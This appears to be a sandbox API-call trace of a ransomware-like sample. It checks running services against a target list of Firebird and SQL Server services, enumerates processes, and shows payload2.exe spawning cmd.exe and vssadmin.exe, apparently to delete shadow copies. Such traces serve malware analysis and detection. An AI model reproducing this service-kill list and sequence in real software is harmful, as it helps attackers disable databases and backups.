	[0191.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0191.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0191.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0191.265] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0191.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0191.265] lstrlenW (lpString="ProfSvc") returned 7
	[0191.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0191.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0191.265] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0191.265] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0191.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0191.265] lstrlenW (lpString="RpcEptMapper") returned 12
	[0191.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0191.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0191.265] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0191.265] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0191.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0191.265] lstrlenW (lpString="RpcSs") returned 5
	[0191.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0191.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0191.265] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0191.265] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0191.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0191.265] lstrlenW (lpString="SamSs") returned 5
	[0191.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0191.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0191.265] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0191.265] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0191.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0191.265] lstrlenW (lpString="Schedule") returned 8
	[0191.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0191.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0191.266] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0191.266] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0191.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0191.266] lstrlenW (lpString="SecurityHealthService") returned 21
	[0191.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0191.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0191.266] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0191.266] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0191.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0191.266] lstrlenW (lpString="SENS") returned 4
	[0191.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0191.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0191.266] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0191.266] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0191.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0191.266] lstrlenW (lpString="ShellHWDetection") returned 16
	[0191.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0191.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0191.266] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0191.266] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0191.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0191.266] lstrlenW (lpString="Spooler") returned 7
	[0191.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0191.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0191.266] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0191.266] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0191.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0191.266] lstrlenW (lpString="StateRepository") returned 15
	[0191.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0191.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0191.267] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0191.267] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0191.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0191.267] lstrlenW (lpString="SysMain") returned 7
	[0191.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0191.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0191.267] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0191.267] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0191.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0191.267] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0191.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0191.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0191.267] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0191.267] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0191.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0191.267] lstrlenW (lpString="Themes") returned 6
	[0191.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0191.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0191.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0191.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0191.268] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x5c4
	[0191.278] Process32FirstW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0191.278] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0191.279] lstrlenW (lpString="System") returned 6
	[0191.279] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0191.280] lstrlenW (lpString="smss.exe") returned 8
	[0191.280] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0191.280] lstrlenW (lpString="csrss.exe") returned 9
	[0191.280] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0191.281] lstrlenW (lpString="wininit.exe") returned 11
	[0191.281] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0191.282] lstrlenW (lpString="csrss.exe") returned 9
	[0191.282] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0191.282] lstrlenW (lpString="winlogon.exe") returned 12
	[0191.282] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0191.283] lstrlenW (lpString="services.exe") returned 12
	[0191.283] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0191.283] lstrlenW (lpString="lsass.exe") returned 9
	[0191.284] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0191.284] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0191.284] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0191.285] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0191.285] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.285] lstrlenW (lpString="svchost.exe") returned 11
	[0191.285] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.286] lstrlenW (lpString="svchost.exe") returned 11
	[0191.286] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0191.287] lstrlenW (lpString="dwm.exe") returned 7
	[0191.287] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.287] lstrlenW (lpString="svchost.exe") returned 11
	[0191.287] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.288] lstrlenW (lpString="svchost.exe") returned 11
	[0191.288] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.288] lstrlenW (lpString="svchost.exe") returned 11
	[0191.288] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.289] lstrlenW (lpString="svchost.exe") returned 11
	[0191.289] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.290] lstrlenW (lpString="svchost.exe") returned 11
	[0191.290] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.290] lstrlenW (lpString="svchost.exe") returned 11
	[0191.290] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.291] lstrlenW (lpString="svchost.exe") returned 11
	[0191.291] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.292] lstrlenW (lpString="svchost.exe") returned 11
	[0191.292] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.292] lstrlenW (lpString="svchost.exe") returned 11
	[0191.292] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.293] lstrlenW (lpString="svchost.exe") returned 11
	[0191.293] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0191.293] lstrlenW (lpString="spoolsv.exe") returned 11
	[0191.294] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.294] lstrlenW (lpString="svchost.exe") returned 11
	[0191.294] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0191.295] lstrlenW (lpString="audiodg.exe") returned 11
	[0191.295] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0191.295] lstrlenW (lpString="sihost.exe") returned 10
	[0191.295] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.296] lstrlenW (lpString="svchost.exe") returned 11
	[0191.296] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0191.296] lstrlenW (lpString="taskhostw.exe") returned 13
	[0191.296] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0191.297] lstrlenW (lpString="msoia.exe") returned 9
	[0191.332] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0191.332] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0191.332] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0191.333] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0191.333] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0191.333] lstrlenW (lpString="Memory Compression") returned 18
	[0191.334] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0191.334] lstrlenW (lpString="explorer.exe") returned 12
	[0191.334] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0191.335] lstrlenW (lpString="SearchUI.exe") returned 12
	[0191.335] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0191.335] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0191.335] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0191.336] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0191.336] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0191.336] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0191.337] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0191.337] lstrlenW (lpString="payload2.exe") returned 12
	[0191.337] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0191.338] lstrlenW (lpString="cmd.exe") returned 7
	[0191.338] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0191.338] lstrlenW (lpString="conhost.exe") returned 11
	[0191.338] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0191.339] lstrlenW (lpString="consent.exe") returned 11
	[0191.339] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0191.339] lstrlenW (lpString="vssadmin.exe") returned 12
	[0191.340] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0191.340] lstrlenW (lpString="dllhost.exe") returned 11
	[0191.340] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0191.341] CloseHandle (hObject=0x5c4) returned 1
	[0191.341] Sleep (dwMilliseconds=0x1f4) 
	[0191.956] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x668308
	[0191.956] EnumServicesStatusExW (in: hSCManager=0x668308, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0191.957] GetLastError () returned 0xea
	[0191.957] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1c28) returned 0x4470140
	[0191.957] EnumServicesStatusExW (in: hSCManager=0x668308, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4470140, cbBufSize=0x1c28, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4470140, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0191.958] CloseServiceHandle (hSCObject=0x668308) returned 1
	[0191.959] lstrlenW (lpString="Appinfo") returned 7
	[0191.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0191.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0191.959] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0191.959] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0191.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0191.959] lstrlenW (lpString="AppXSvc") returned 7
	[0191.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0191.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0191.959] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0191.959] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0191.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0191.959] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0191.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0191.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0191.960] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0191.960] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
